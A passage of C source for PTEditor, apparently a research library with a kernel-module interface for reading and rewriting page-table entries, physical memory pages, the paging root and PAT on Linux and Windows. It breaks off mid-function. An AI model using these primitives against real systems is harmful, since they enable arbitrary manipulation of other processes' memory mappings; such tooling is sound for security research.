================================================ /* See LICENSE file for license and copyright information */ #ifndef PTEDITOR_MODULE_H #define PTEDITOR_MODULE_H #if defined(__linux__) || defined(__linux) || defined(__unix__) || defined(LINUX) || defined(UNIX) #define LINUX #endif #if defined(_WIN32) || defined(_WIN64) || defined(__MINGW32__) || defined(__CYGWIN__) #define WINDOWS #undef LINUX #endif #include #if defined(LINUX) #define PTEDITOR_DEVICE_NAME "pteditor" #define PTEDITOR_DEVICE_PATH "/dev/" PTEDITOR_DEVICE_NAME #else #define PTEDITOR_DEVICE_NAME L"PTEditorLink" #define PTEDITOR_DEVICE_PATH L"\\\\.\\" PTEDITOR_DEVICE_NAME #endif /** * Structure containing the page-table entries of all levels. * The Linux names are aliased with the Intel names. */ typedef struct { /** Process ID */ size_t pid; /** Virtual address */ size_t vaddr; /** Page global directory / Page map level 5 */ union { size_t pgd; size_t pml5; }; /** Page directory 4 / Page map level 4 */ union { size_t p4d; size_t pml4; }; /** Page upper directory / Page directory pointer table */ union { size_t pud; size_t pdpt; }; /** Page middle directory / Page directory */ union { size_t pmd; size_t pd; }; /** Page table entry */ size_t pte; /** Bitmask indicating which entries are valid/should be updated */ size_t valid; } ptedit_entry_t; /** * Structure to read/write physical pages */ #if defined(LINUX) typedef struct { /** Page-frame number */ size_t pfn; /** Virtual address */ size_t vaddr; /** Page size */ size_t size; /** Page content */ unsigned char* buffer; } ptedit_page_t; #else __pragma(pack(push, 1)) typedef struct { char content[4096]; size_t paddr; } ptedit_page_t; __pragma(pack(pop)) #endif /** * Structure to get/set the root of paging */ typedef struct { /** Process id */ size_t pid; /** Physical address of paging root */ size_t root; } ptedit_paging_t; #define PTEDIT_VALID_MASK_PGD (1<<0) #define PTEDIT_VALID_MASK_P4D (1<<1) #define PTEDIT_VALID_MASK_PUD (1<<2) #define PTEDIT_VALID_MASK_PMD (1<<3) #define PTEDIT_VALID_MASK_PTE (1<<4) #define PTEDITOR_TLB_INVALIDATION_KERNEL 0 #define PTEDITOR_TLB_INVALIDATION_CUSTOM 1 #if defined(LINUX) #define PTEDITOR_IOCTL_MAGIC_NUMBER (long)0x3d17 #define PTEDITOR_IOCTL_CMD_VM_RESOLVE \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 1, size_t) #define PTEDITOR_IOCTL_CMD_VM_UPDATE \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 2, size_t) #define PTEDITOR_IOCTL_CMD_VM_LOCK \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 3, size_t) #define PTEDITOR_IOCTL_CMD_VM_UNLOCK \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 4, size_t) #define PTEDITOR_IOCTL_CMD_READ_PAGE \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 5, size_t) #define PTEDITOR_IOCTL_CMD_WRITE_PAGE \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 6, size_t) #define PTEDITOR_IOCTL_CMD_GET_ROOT \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 7, size_t) #define PTEDITOR_IOCTL_CMD_SET_ROOT \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 8, size_t) #define PTEDITOR_IOCTL_CMD_GET_PAGESIZE \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 9, size_t) #define PTEDITOR_IOCTL_CMD_INVALIDATE_TLB \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 10, size_t) #define PTEDITOR_IOCTL_CMD_GET_PAT \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 11, size_t) #define PTEDITOR_IOCTL_CMD_SET_PAT \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 12, size_t) #define PTEDITOR_IOCTL_CMD_SWITCH_TLB_INVALIDATION \ _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 13, size_t) #else #define PTEDITOR_READ_PAGE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_WRITE_PAGE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_READ_DATA) #define PTEDITOR_GET_CR3 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_FLUSH_TLB CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_READ_PHYS_VAL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_WRITE_PHYS_VAL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_SET_CR3 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_SET_PAT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_BUFFERED, FILE_ANY_ACCESS) #define PTEDITOR_GET_PAT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_BUFFERED, FILE_ANY_ACCESS) #endif #endif // PTEDITOR_MODULE_H ================================================ FILE: pocs/libpte/ptedit.c ================================================ #include #include #include #include #include "module/pteditor.h" #include "ptedit.h" #if defined(LINUX) #include #include #include #else #include #endif #if defined(LINUX) #define PTEDIT_COLOR_RED "\x1b[31m" #define PTEDIT_COLOR_GREEN "\x1b[32m" #define PTEDIT_COLOR_RESET "\x1b[0m" #else #define PTEDIT_COLOR_RED "" #define PTEDIT_COLOR_GREEN "" #define PTEDIT_COLOR_RESET "" #endif #if defined(WINDOWS) #define NO_WINDOWS_SUPPORT fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: %s not supported on Windows", __func__); #endif #if defined(WINDOWS) static HANDLE ptedit_fd; #else static int ptedit_fd; #endif static int ptedit_umem; static int ptedit_pagesize; static size_t ptedit_paging_root; static unsigned char* ptedit_vmem; typedef struct { int has_pgd, has_p4d, has_pud, has_pmd, has_pt; int pgd_entries, p4d_entries, pud_entries, pmd_entries, pt_entries; int page_offset; } ptedit_paging_definition_t; ptedit_paging_definition_t ptedit_paging_definition; // --------------------------------------------------------------------------- ptedit_entry_t ptedit_resolve_kernel(void* address, pid_t pid) { ptedit_entry_t vm; memset(&vm, 0, sizeof(vm)); vm.vaddr = (size_t)address; vm.pid = (size_t)pid; #if defined(LINUX) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_VM_RESOLVE, (size_t)&vm); #else NO_WINDOWS_SUPPORT; #endif return vm; } // --------------------------------------------------------------------------- typedef size_t(*ptedit_phys_read_t)(size_t); typedef void(*ptedit_phys_write_t)(size_t, size_t); // --------------------------------------------------------------------------- static inline size_t ptedit_phys_read_map(size_t address) { return *(size_t*)(ptedit_vmem + address); } // --------------------------------------------------------------------------- static inline void ptedit_phys_write_map(size_t address, size_t value) { *(size_t*)(ptedit_vmem + address) = value; } // --------------------------------------------------------------------------- static inline size_t ptedit_phys_read_pread(size_t address) { size_t val = 0; #if defined(LINUX) if (pread(ptedit_umem, &val, sizeof(size_t), address) == -1) { return val; } #else ULONG returnLength; DeviceIoControl(ptedit_fd, PTEDITOR_READ_PHYS_VAL, (LPVOID)&address, sizeof(address), (LPVOID)&val, sizeof(val), &returnLength, 0); #endif return val; } // --------------------------------------------------------------------------- static inline void ptedit_phys_write_pwrite(size_t address, size_t value) { #if defined(LINUX) if (pwrite(ptedit_umem, &value, sizeof(size_t), address) == -1) { return; } #else ULONG returnLength; size_t info[2]; info[0] = address; info[1] = value; DeviceIoControl(ptedit_fd, PTEDITOR_WRITE_PHYS_VAL, (LPVOID)&info, sizeof(info), (LPVOID)&info, sizeof(info), &returnLength, 0); #endif } // --------------------------------------------------------------------------- static ptedit_entry_t ptedit_resolve_user_ext(void* address, pid_t pid, ptedit_phys_read_t deref) { size_t root = (pid == 0) ? ptedit_paging_root : ptedit_get_paging_root(pid); int pgdi, p4di, pudi, pmdi, pti; size_t addr = (size_t)address; pgdi = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries + ptedit_paging_definition.pmd_entries + ptedit_paging_definition.pud_entries + ptedit_paging_definition.p4d_entries)) % (1ull << ptedit_paging_definition.pgd_entries); p4di = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries + ptedit_paging_definition.pmd_entries + ptedit_paging_definition.pud_entries)) % (1ull << ptedit_paging_definition.p4d_entries); pudi = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries + ptedit_paging_definition.pmd_entries)) % (1ull << ptedit_paging_definition.pud_entries); pmdi = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries)) % (1ull << ptedit_paging_definition.pmd_entries); pti = (addr >> ptedit_paging_definition.page_offset) % (1ull << ptedit_paging_definition.pt_entries); ptedit_entry_t resolved; memset(&resolved, 0, sizeof(resolved)); resolved.vaddr = (size_t)address; resolved.pid = (size_t)pid; resolved.valid = 0; if(!root) return resolved; size_t pgd_entry, p4d_entry, pud_entry, pmd_entry, pt_entry; // printf("%zx + CR3(%zx) + PGDI(%zx) * 8 = %zx\n", ptedit_vmem, root, pgdi, ptedit_vmem + root + pgdi * sizeof(size_t)); pgd_entry = deref(root + pgdi * sizeof(size_t)); if (ptedit_cast(pgd_entry, ptedit_pgd_t).present != PTEDIT_PAGE_PRESENT) { return resolved; } resolved.pgd = pgd_entry; resolved.valid |= PTEDIT_VALID_MASK_PGD; if (ptedit_paging_definition.has_p4d) { size_t pfn = (size_t)(ptedit_cast(pgd_entry, ptedit_pgd_t).pfn); p4d_entry = deref(pfn * ptedit_pagesize + p4di * sizeof(size_t)); resolved.valid |= PTEDIT_VALID_MASK_P4D; } else { p4d_entry = pgd_entry; } resolved.p4d = p4d_entry; if (ptedit_cast(p4d_entry, ptedit_p4d_t).present != PTEDIT_PAGE_PRESENT) { return resolved; } if (ptedit_paging_definition.has_pud) { size_t pfn = (size_t)(ptedit_cast(p4d_entry, ptedit_p4d_t).pfn); pud_entry = deref(pfn * ptedit_pagesize + pudi * sizeof(size_t)); resolved.valid |= PTEDIT_VALID_MASK_PUD; } else { pud_entry = p4d_entry; } resolved.pud = pud_entry; if (ptedit_cast(pud_entry, ptedit_pud_t).present != PTEDIT_PAGE_PRESENT) { return resolved; } if (ptedit_paging_definition.has_pmd) { size_t pfn = (size_t)(ptedit_cast(pud_entry, ptedit_pud_t).pfn); pmd_entry = deref(pfn * ptedit_pagesize + pmdi * sizeof(size_t)); resolved.valid |= PTEDIT_VALID_MASK_PMD; } else { pmd_entry = pud_entry; } resolved.pmd = pmd_entry; if (ptedit_cast(pmd_entry, ptedit_pmd_t).present != PTEDIT_PAGE_PRESENT) { return resolved; } #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) if (!ptedit_cast(pmd_entry, ptedit_pmd_t).size) { #endif // normal 4kb page size_t pfn = (size_t)(ptedit_cast(pmd_entry, ptedit_pmd_t).pfn); pt_entry = deref(pfn * ptedit_pagesize + pti * sizeof(size_t)); //pt[pti]; resolved.pte = pt_entry; resolved.valid |= PTEDIT_VALID_MASK_PTE; if (ptedit_cast(pt_entry, ptedit_pte_t).present != PTEDIT_PAGE_PRESENT) { return resolved; } #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) } #endif return resolved; } // --------------------------------------------------------------------------- static ptedit_entry_t ptedit_resolve_user(void* address, pid_t pid) { return ptedit_resolve_user_ext(address, pid, ptedit_phys_read_pread); } // --------------------------------------------------------------------------- static ptedit_entry_t ptedit_resolve_user_map(void* address, pid_t pid) { return ptedit_resolve_user_ext(address, pid, ptedit_phys_read_map); } // --------------------------------------------------------------------------- void ptedit_update_kernel(void* address, pid_t pid, ptedit_entry_t* vm) { vm->vaddr = (size_t)address; vm->pid = (size_t)pid; #if defined(LINUX) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_VM_UPDATE, (size_t)vm); #else NO_WINDOWS_SUPPORT #endif } // --------------------------------------------------------------------------- void ptedit_update_user_ext(void* address, pid_t pid, ptedit_entry_t* vm, ptedit_phys_write_t pset) { ptedit_entry_t current = ptedit_resolve(address, pid); size_t root = (pid == 0) ? ptedit_paging_root : ptedit_get_paging_root(pid); if(!root) return; size_t pgdi, p4di, pudi, pmdi, pti; size_t addr = (size_t)address; pgdi = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries + ptedit_paging_definition.pmd_entries + ptedit_paging_definition.pud_entries + ptedit_paging_definition.p4d_entries)) % (1ull << ptedit_paging_definition.pgd_entries); p4di = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries + ptedit_paging_definition.pmd_entries + ptedit_paging_definition.pud_entries)) % (1ull << ptedit_paging_definition.p4d_entries); pudi = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries + ptedit_paging_definition.pmd_entries)) % (1ull << ptedit_paging_definition.pud_entries); pmdi = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries)) % (1ull << ptedit_paging_definition.pmd_entries); pti = (addr >> ptedit_paging_definition.page_offset) % (1ull << ptedit_paging_definition.pt_entries); if ((vm->valid & PTEDIT_VALID_MASK_PTE) && (current.valid & PTEDIT_VALID_MASK_PTE)) { pset((size_t)ptedit_cast(current.pmd, ptedit_pmd_t).pfn * ptedit_pagesize + pti * (ptedit_pagesize / (1 << ptedit_paging_definition.pt_entries)), vm->pte); } if ((vm->valid & PTEDIT_VALID_MASK_PMD) && (current.valid & PTEDIT_VALID_MASK_PMD) && ptedit_paging_definition.has_pmd) { pset((size_t)ptedit_cast(current.pud, ptedit_pud_t).pfn * ptedit_pagesize + pmdi * (ptedit_pagesize / (1 << ptedit_paging_definition.pmd_entries)), vm->pmd); } if ((vm->valid & PTEDIT_VALID_MASK_PUD) && (current.valid & PTEDIT_VALID_MASK_PUD) && ptedit_paging_definition.has_pud) { pset((size_t)ptedit_cast(current.p4d, ptedit_p4d_t).pfn * ptedit_pagesize + pudi * (ptedit_pagesize / (1 << ptedit_paging_definition.pud_entries)), vm->pud); } if ((vm->valid & PTEDIT_VALID_MASK_P4D) && (current.valid & PTEDIT_VALID_MASK_P4D) && ptedit_paging_definition.has_p4d) { pset((size_t)ptedit_cast(current.pgd, ptedit_pgd_t).pfn * ptedit_pagesize + p4di * (ptedit_pagesize / (1 << ptedit_paging_definition.p4d_entries)), vm->p4d); } if ((vm->valid & PTEDIT_VALID_MASK_PGD) && (current.valid & PTEDIT_VALID_MASK_PGD) && ptedit_paging_definition.has_pgd) { pset(root + pgdi * (ptedit_pagesize / (1 << ptedit_paging_definition.pgd_entries)), vm->pgd); } ptedit_invalidate_tlb(address); } // --------------------------------------------------------------------------- static void ptedit_update_user(void* address, pid_t pid, ptedit_entry_t* vm) { ptedit_update_user_ext(address, pid, vm, ptedit_phys_write_pwrite); ptedit_invalidate_tlb(address); } // --------------------------------------------------------------------------- static void ptedit_update_user_map(void* address, pid_t pid, ptedit_entry_t* vm) { ptedit_update_user_ext(address, pid, vm, ptedit_phys_write_map); ptedit_invalidate_tlb(address); } // --------------------------------------------------------------------------- void* ptedit_pmap(size_t physical, size_t length) { #if defined(LINUX) char* m = (char*)mmap(0, length + (physical % ptedit_pagesize), PROT_READ | PROT_WRITE, MAP_SHARED, ptedit_umem, ((size_t)(physical / ptedit_pagesize)) * ptedit_pagesize); return m + (physical % ptedit_pagesize); #else NO_WINDOWS_SUPPORT; return NULL; #endif } // --------------------------------------------------------------------------- size_t ptedit_set_pfn(size_t pte, size_t pfn) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) pte &= ~(((1ull << 40) - 1) << 12); #elif defined(__aarch64__) pte &= ~(((1ull << 36) - 1) << 12); #endif pte |= pfn << 12; return pte; } // --------------------------------------------------------------------------- size_t ptedit_get_pfn(size_t pte) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) return (pte & (((1ull << 40) - 1) << 12)) >> 12; #elif defined(__aarch64__) return (pte & (((1ull << 36) - 1) << 12)) >> 12; #endif } // --------------------------------------------------------------------------- #define PTEDIT_B(val, bit) (!!((val) & (1ull << (bit)))) #define PEDIT_PRINT_B(fmt, bit) \ if ((bit)) { \ printf(PTEDIT_COLOR_GREEN); \ printf((fmt), (bit)); \ printf(PTEDIT_COLOR_RESET); \ } else { \ printf((fmt), (bit)); \ } \ printf("|"); // --------------------------------------------------------------------------- void ptedit_print_entry_line(size_t entry, int line) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) if (line == 0 || line == 3) printf("+--+------------------+-+-+-+-+-+-+-+-+--+--+-+-+-+\n"); if (line == 1) printf("|NX| PFN |H|?|?|?|G|S|D|A|UC|WT|U|W|P|\n"); if (line == 2) { printf("|"); PEDIT_PRINT_B(" %d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_NX)); printf(" %16p |", (void*)((entry >> 12) & ((1ull << 40) - 1))); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PAT_LARGE)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW3)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW2)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW1)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_GLOBAL)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PSE)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_DIRTY)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_ACCESSED)); PEDIT_PRINT_B(" %d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PCD)); PEDIT_PRINT_B(" %d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PWT)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_USER)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_RW)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PRESENT)); printf("\n"); } #elif defined(__aarch64__) if (line == 0 || line == 3) { printf("+--+--+--+---+-+--+------------------+--+-+-+-+--+---+-+\n"); } if (line == 1) { printf("| ?| ?|XN|PXN|C| ?| PFN |NG|A|S|P|NS|MAI|T|\n"); } if (line == 2) { printf("|"); PEDIT_PRINT_B("%2d", (PTEDIT_B(entry, 63) << 4) | (PTEDIT_B(entry, 62) << 3) | (PTEDIT_B(entry, 61) << 2) | (PTEDIT_B(entry, 60) << 1) | PTEDIT_B(entry, 59)); PEDIT_PRINT_B("%2d", (PTEDIT_B(entry, 58) << 3) | (PTEDIT_B(entry, 57) << 2) | (PTEDIT_B(entry, 56) << 1) | PTEDIT_B(entry, 55)); PEDIT_PRINT_B(" %d", PTEDIT_B(entry, 54)); PEDIT_PRINT_B(" %d ", PTEDIT_B(entry, 53)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, 52)); PEDIT_PRINT_B("%2d", (PTEDIT_B(entry, 51) << 3) | (PTEDIT_B(entry, 50) << 2) | (PTEDIT_B(entry, 49) << 1) | PTEDIT_B(entry, 48)); printf(" %16p |", (void*)((entry >> 12) & ((1ull << 36) - 1))); PEDIT_PRINT_B(" %d", PTEDIT_B(entry, 11)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, 10)); PEDIT_PRINT_B("%d", (PTEDIT_B(entry, 9) << 1) | PTEDIT_B(entry, 8)); PEDIT_PRINT_B("%d", (PTEDIT_B(entry, 7) << 1) | PTEDIT_B(entry, 6)); PEDIT_PRINT_B(" %d", PTEDIT_B(entry, 5)); PEDIT_PRINT_B(" %d ", (PTEDIT_B(entry, 4) << 2) | (PTEDIT_B(entry, 3) << 1) | PTEDIT_B(entry, 2)); PEDIT_PRINT_B("%d", (PTEDIT_B(entry, 1) << 1) | PTEDIT_B(entry, 0)); printf("\n"); } #endif } // --------------------------------------------------------------------------- void ptedit_print_entry(size_t entry) { int i = 0; for (i = 0; i < 4; i++) { ptedit_print_entry_line(entry, i); } } // --------------------------------------------------------------------------- void ptedit_print_entry_t(ptedit_entry_t entry) { if (entry.valid & PTEDIT_VALID_MASK_PGD) { printf("PGD of address\n"); ptedit_print_entry(entry.pgd); } if (entry.valid & PTEDIT_VALID_MASK_P4D) { printf("P4D of address\n"); ptedit_print_entry(entry.p4d); } if (entry.valid & PTEDIT_VALID_MASK_PUD) { printf("PUD of address\n"); ptedit_print_entry(entry.pud); } if (entry.valid & PTEDIT_VALID_MASK_PMD) { printf("PMD of address\n"); ptedit_print_entry(entry.pmd); } if (entry.valid & PTEDIT_VALID_MASK_PTE) { printf("PTE of address\n"); ptedit_print_entry(entry.pte); } } // --------------------------------------------------------------------------- int ptedit_init() { #if defined(LINUX) ptedit_fd = open(PTEDITOR_DEVICE_PATH, O_RDONLY); if (ptedit_fd < 0) { fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: Could not open PTEditor device: %s\n", PTEDITOR_DEVICE_PATH); return -1; } ptedit_umem = open("/proc/umem", O_RDWR); #else ptedit_fd = CreateFile(PTEDITOR_DEVICE_PATH, GENERIC_ALL, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0); if (ptedit_fd == INVALID_HANDLE_VALUE) { fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: Could not open PTEditor device: %ws\n", PTEDITOR_DEVICE_PATH); return -1; } ptedit_umem = 0; #endif #if defined(LINUX) ptedit_use_implementation(PTEDIT_IMPL_KERNEL); #elif defined(WINDOWS) ptedit_use_implementation(PTEDIT_IMPL_USER_PREAD); #endif // } #if defined(LINUX) ptedit_pagesize = getpagesize(); #else ptedit_pagesize = ptedit_get_pagesize(); #endif #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) ptedit_paging_definition.has_pgd = 1; ptedit_paging_definition.has_p4d = 0; ptedit_paging_definition.has_pud = 1; ptedit_paging_definition.has_pmd = 1; ptedit_paging_definition.has_pt = 1; ptedit_paging_definition.pgd_entries = 9; ptedit_paging_definition.p4d_entries = 0; ptedit_paging_definition.pud_entries = 9; ptedit_paging_definition.pmd_entries = 9; ptedit_paging_definition.pt_entries = 9; ptedit_paging_definition.page_offset = 12; #elif defined(__aarch64__) ptedit_paging_definition.has_pgd = 1; ptedit_paging_definition.has_p4d = 0; ptedit_paging_definition.has_pud = 0; ptedit_paging_definition.has_pmd = 1; ptedit_paging_definition.has_pt = 1; ptedit_paging_definition.pgd_entries = 9; ptedit_paging_definition.p4d_entries = 0; ptedit_paging_definition.pud_entries = 0; ptedit_paging_definition.pmd_entries = 9; ptedit_paging_definition.pt_entries = 9; ptedit_paging_definition.page_offset = 12; #endif return 0; } // --------------------------------------------------------------------------- void ptedit_cleanup() { #if defined(LINUX) if (ptedit_fd >= 0) { close(ptedit_fd); } if (ptedit_umem > 0) { close(ptedit_umem); } #else CloseHandle(ptedit_fd); #endif } // --------------------------------------------------------------------------- void ptedit_use_implementation(int implementation) { if (implementation == PTEDIT_IMPL_KERNEL) { #if defined(LINUX) ptedit_resolve = ptedit_resolve_kernel; ptedit_update = ptedit_update_kernel; #else fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: PTEditor implementation not supported on Windows"); #endif } else if (implementation == PTEDIT_IMPL_USER_PREAD) { ptedit_resolve = ptedit_resolve_user; ptedit_update = ptedit_update_user; ptedit_paging_root = ptedit_get_paging_root(0); } else if (implementation == PTEDIT_IMPL_USER) { #if defined(LINUX) ptedit_resolve = ptedit_resolve_user_map; ptedit_update = ptedit_update_user_map; ptedit_paging_root = ptedit_get_paging_root(0); if (!ptedit_vmem) { ptedit_vmem = (unsigned char*)mmap(NULL, 32ull << 30ull, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_NORESERVE, ptedit_umem, 0); fprintf(stderr, PTEDIT_COLOR_GREEN "[+]" PTEDIT_COLOR_RESET " Mapped physical memory to %p\n", ptedit_vmem); } #else fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: PTEditor implementation not supported on Windows"); #endif } else { fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET " Error: PTEditor implementation not supported!\n"); } } // --------------------------------------------------------------------------- int ptedit_get_pagesize() { #if defined(LINUX) return (int)ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_PAGESIZE, 0); #else SYSTEM_INFO sysinfo; GetSystemInfo(&sysinfo); return sysinfo.dwPageSize; #endif } // --------------------------------------------------------------------------- void ptedit_read_physical_page(size_t pfn, char* buffer) { #if defined(LINUX) if (ptedit_umem > 0) { if (pread(ptedit_umem, buffer, ptedit_pagesize, pfn * ptedit_pagesize) == -1) { return; } } else { ptedit_page_t page; page.buffer = (unsigned char*)buffer; page.pfn = pfn; ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_READ_PAGE, (size_t)&page); } #else DWORD returnLength; pfn *= ptedit_pagesize; DeviceIoControl(ptedit_fd, PTEDITOR_READ_PAGE, (LPVOID)&pfn, sizeof(pfn), (LPVOID)buffer, 4096, &returnLength, 0); #endif } // --------------------------------------------------------------------------- void ptedit_write_physical_page(size_t pfn, char* content) { #if defined(LINUX) if (ptedit_umem > 0) { if (pwrite(ptedit_umem, content, ptedit_pagesize, pfn * ptedit_pagesize) == -1) { return; } } else { ptedit_page_t page; page.buffer = (unsigned char*)content; page.pfn = pfn; ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_WRITE_PAGE, (size_t)&page); } #else DWORD returnLength; ptedit_page_t page; if (ptedit_pagesize != 4096) { fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: page sizes other than 4096 not supported on Windows"); return; } page.paddr = pfn * ptedit_pagesize; memcpy(page.content, content, ptedit_pagesize); DeviceIoControl(ptedit_fd, PTEDITOR_WRITE_PAGE, (LPVOID)&page, sizeof(ptedit_page_t), (LPVOID)&page, sizeof(ptedit_page_t), &returnLength, 0); #endif } // --------------------------------------------------------------------------- size_t ptedit_get_paging_root(pid_t pid) { #if defined(LINUX) ptedit_paging_t cr3; cr3.pid = (size_t)pid; cr3.root = 0; ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_ROOT, (size_t)&cr3); return cr3.root; #else size_t cr3 = 0; DWORD returnLength; if(!pid) pid = GetCurrentProcessId(); DeviceIoControl(ptedit_fd, PTEDITOR_GET_CR3, (LPVOID)&pid, sizeof(pid), (LPVOID)&cr3, sizeof(cr3), &returnLength, 0); return (cr3 & ~0xfff); #endif } // --------------------------------------------------------------------------- void ptedit_set_paging_root(pid_t pid, size_t root) { ptedit_paging_t cr3; cr3.pid = (size_t)pid; cr3.root = root; #if defined(LINUX) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SET_ROOT, (size_t)&cr3); #else DWORD returnLength; if (!pid) pid = GetCurrentProcessId(); size_t info[2]; info[0] = pid; info[1] = root; DeviceIoControl(ptedit_fd, PTEDITOR_SET_CR3, (LPVOID)info, sizeof(info), (LPVOID)info, sizeof(info), &returnLength, 0); #endif } // --------------------------------------------------------------------------- void ptedit_invalidate_tlb(void* address) { #if defined(LINUX) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_INVALIDATE_TLB, (size_t)address); #else size_t vaddr = (size_t)address; DWORD returnLength; DeviceIoControl(ptedit_fd, PTEDITOR_FLUSH_TLB, (LPVOID)&vaddr, sizeof(vaddr), (LPVOID)&vaddr, sizeof(vaddr), &returnLength, 0); #endif } // --------------------------------------------------------------------------- int ptedit_switch_tlb_invalidation(int implementation) { #if defined(LINUX) return (int) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SWITCH_TLB_INVALIDATION, (size_t) implementation); #else NO_WINDOWS_SUPPORT #endif } // --------------------------------------------------------------------------- size_t ptedit_get_mts() { size_t mt = 0; #if defined(LINUX) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_PAT, (size_t)&mt); #else DWORD returnLength; DeviceIoControl(ptedit_fd, PTEDITOR_GET_PAT, (LPVOID)&mt, sizeof(mt), (LPVOID)&mt, sizeof(mt), &returnLength, 0); #endif return mt; } // --------------------------------------------------------------------------- char ptedit_get_mt(unsigned char mt) { size_t mts = ptedit_get_mts(); #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) return ((mts >> (mt * 8)) & 7); #elif defined(__aarch64__) return ((mts >> (mt * 8)) & 0xff); #endif } // --------------------------------------------------------------------------- const char* ptedit_mt_to_string(unsigned char mt) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) const char* mts[] = { "UC", "WC", "Rsvd", "Rsvd", "WT", "WP", "WB", "UC-", "Rsvd" }; if (mt <= 7) return mts[mt]; return NULL; #elif defined(__aarch64__) static char mts[16]; int i; mts[0] = 0; for (i = 0; i < 2; i++) { strcat(mts, i == 0 ? "I" : "O"); if ((mt & 0xf) == ((mt >> 4) & 0xf)) strcpy(mts, ""); switch ((mt >> (i * 4)) & 0xf) { case 0: strcat(mts, "DM"); break; case 1: /* Fall through */ case 2: /* Fall through */ case 3: strcat(mts, "WT"); break; case 4: strcat(mts, "UC"); break; case 5: /* Fall through */ case 6: /* Fall through */ case 7: strcat(mts, "WB"); break; case 8: /* Fall through */ case 9: 